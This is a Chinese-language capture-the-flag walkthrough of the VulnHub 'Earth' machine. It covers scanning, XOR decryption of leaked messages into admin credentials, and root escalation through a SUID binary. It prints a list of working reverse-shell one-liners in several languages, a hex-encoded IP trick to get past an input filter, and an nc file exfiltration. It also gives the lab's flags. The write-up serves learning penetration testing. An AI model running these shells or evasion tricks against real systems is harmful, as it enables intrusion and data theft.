vulnhub靶场Earth

首先是下载镜像,然后用vmware打开,记得关闭usb,然后网络配置建议设置成桥接模式,然后需要指定桥接的网卡。

使用nmap进行扫描

sudo nmap -sP 192.168.[num1].1/24  

/24表示那个网段0-255都扫描

然后对靶机的ip进行端口扫描

sudo nmap -sC -sV -p- 192.168.[num1].[num2]

-sC 表示使用nmap脚本探测 -sV探测服务信息

-p-表示扫描全端口

从图可以看到开启了22 80 443 端口,然后用到了两个dns服务器 earth.local terra test.earth.local

然后我们正常访问这个网站ip地址,发现访问不了

即一台服务器,有两个域名,有可能这里用了apache的虚拟主机技术,不同的域名指向不同的服务器目录,或者有不同的权限

方便起见,这个时候我们改本机的hosts文件

vi /etc/hosts 
192.168.1.241 earth.local terratest.earth.local

然后,碰到ssl端口开放,我们可能就要考虑到https和http访问得到的网站权限可能不一样

然后因为证书问题,chrome内核可能访问不了,我们只需要在该标签页,键盘拼写thisisunsafe,即自动刷新。safari则只需同意一下

然后在网站上访问的输入框会使得页面多一行文本,没啥思路。

于是开始扫目录

网上教程一个域名是扫描http,一个域名是扫描https。那我说不出为什么这样的道理,我只能每个域名的http和https都建议扫一下,那么两个域名就是扫四次

使用gobuster 3.0

用法

gobuster dir -u 目标地址 -w 字典 -x .zip,.php,.txt      

字典用的是御剑的,勉强够用。有个一百多兆的,一晚上根本扫不完,还没啥用

gobuster dir -u http://earth.local -w /Users/song/Data/渗透/字典/dir.txt -x .zip,.php,.txt

gobuster dir -u https://earth.local -w /Users/song/Data/渗透/字典/dir.txt -x .zip,.php,.txt

gobuster dir -u http://terratest.earth.local -w ../dicts.txt -x .zip,.php,.txt -k

gobuster dir -u https://terratest.earth.local -w ../dicts.txt -x .zip,.php,.txt -k

然后找到几个路径

http://earth.local/admin/login

网上说爆破没用,我还不太会用burp的混合爆破。既然没用,但是我觉得能不能通过构造的方法试试,下次找个机会试试。当然也得考虑从网站别处弄到手

https://terratest.earth.local/robots.txt

这里规定了一些不让抓取的路径或者说文件类型

发现比较特殊的是/testingnotes.*

猜测为txt文件,当然什么.md .doc .docx都可以试试

查看了一下,发现有点信息

测试安全消息系统注意事项:
*使用 XOR 加密作为算法,在 RSA 中使用应该是安全的。
*地球已确认他们已收到我们发送的消息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将我们的每月密钥发送到地球? 还是我们应该每周更换密钥?
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长?
*需要改进消息界面和管理面板的界面,目前非常基础。

这里可以看出又提到了一个tesedata.txt文件,我们想办法下载下来。

如果使用wget,那需要在后面带参数--no-check-certificate

因为那个https的ssl证书不被认可

wget https://terratest.earth.local/testdata.txt --no-check-certificate

根据文中提到的xor异或加密算法,目前来收我们在网站上可以看到一开始的三串字符串,这个就是所谓发送给地球的信息,我们也测试了一次。那么我们现在已知(被加密了的信息和加密算法材料,也许可以得出原信息)

这里就要了解一下异或加密与解密的知识——大概就是知二求一

现在可以通过异或算法解密出原始数据

利用testdata.txt和三组原始加密信息进行解密,在第三组信息中得到了一个重复字符串 earthclimatechangebad4humans

然后我们就用这个作为密码,terra作为用户名,http://earth.local/admin/login这里登陆进了网站后台

发现这个有个文本框能够直接执行命令

那么最常见的,ls /var 看一下,然后pwd。whoami

然后因为有两个flag,现在先用find命令找一下。

find / -name "*flag*" 
find / -name "*earth*"

找到一个/var/earth_web/user_flag.txt

cat /var/earth_web/user_flag.txt

得到一个flag:user_flag_3353b67d6437f07ba7d34afd7d2fc27d

那么根据vulunhub说的,有user_flag和root_flag,也就是说我们现在这个apache用户权限不太够,有些文件访问不了,则我们需要提权

两个思路,一个是提升现在用户的权限,另外一个是使用高权限用户,例如root用户来执行一些命令。

那么涉及到很多命令的执行,为了更方便,我们选择反弹shell来连接该主机

然后反弹shell大致分为bash nc talent三种实现方法,然后针对不同语言的web服务器,还可以使用一些脚本反弹shell,例如

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
	public class Revs {
	/**
	* @param args
	* @throws Exception 
	*/
	public static void main(String[] args) throws Exception {
  	  // TODO Auto-generated method stub
    	Runtime r = Runtime.getRuntime();
    	String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
    	Process p = r.exec(cmd);
    	p.waitFor();
	}
}
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

那我们从一般步骤开始尝试

首先是攻击机开启监听

kali

nc -lvvp 1234

Mac 得使用下面这个

nc -l 1234

然后让靶机反弹shell

我们先 ls /usr/bin 看一下能执行什么命令,发现bash nc python是可以使用的

那就尝试这几个命令

bash -i >& /dev/tcp/192.168.1.123/1234 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.123",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 

这个python代码有长度限制(maxlength),需要改前端限制,或者抓包改数据

后面发现都没用

根据网上教程的提示,意思是说会对命令中ip地址的数字进行过滤(正则表达式)

这里我把那个代码文件提取出来,可以了看一下

然后我们使用16进制对十进制的ip地址进行编码

bash -i >& /dev/tcp/0xc0.0xa8.0x01.0x67/1234 0>&1

也有别的教程是把ip点十进制转成2进制,然后按权重加起来,也可以实现绕过的效果

正常情况就连接上了,用ls pwd可以测试一下

然后用命令找一些有特殊权限的文件

find / -perm -u=s -type f 2>/dev/null

或者

find / -perm /u=s -type f 2>/dev/null

然后

/usr/bin/chage /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/su /usr/bin/mount /usr/bin/umount /usr/bin/pkexec /usr/bin/passwd /usr/bin/chfn /usr/bin/chsh /usr/bin/at /usr/bin/sudo /usr/bin/reset_root /usr/sbin/grub2-set-bootflag /usr/sbin/pam_timestamp_check /usr/sbin/unix_chkpwd /usr/sbin/mount.nfs /usr/lib/polkit-1/polkit-agent-helper-1

注意到这个/usr/bin/reset_root

直接运行发现报错

所以我们决定把它提取出来,通过逆向或者进行调试

那我们就得用一种方式把它提取。

这里我们选择nc命令,在另外一个端口,由靶机把文件作为数据流发送给攻击机,然后攻击机把收到的数据保存到文件中。也就实现了文件的提取

攻击机:nc -l 4321 >reset_root

靶机shell:nc 192.168.1.123 4321 < /usr/bin/reset_root

提取出来之后,放到ida里面逆向看一下,大概来说就是有个变量每通过一次函数,就会自增1,当着个变量等于3时,就会执行重置root密码的操作

那么根据网上的提示,我们选择来kali这样的linux系统中通过ltrace或者strace对程序进行跟踪,看一下他到底需要哪三个判断。

sudo chmod +x reset_root

这里我自己通过逆向不是很清楚文件和路径怎么就能得出来,水平有限,希望大佬解答

然后就会发现需要三个文件,但是找不到。那我们就使用touch命令,在相应目录创建三个文件。

ltrace 进程库函数调用

strace在linux下用来跟踪某个进程的系统调用。 系统调用

然后我们再在靶机执行这个程序,发现就把root用户密码改成了Earth

那我们用su命令切换到root,输入密码。即成功切换

然后还是执行find命令,找到rootflag

root_flag_b0da9554d29db2117b02aa8b66ec492e

在solaris下,对应的是dtrace

在mac下,对应的命令是:dtruss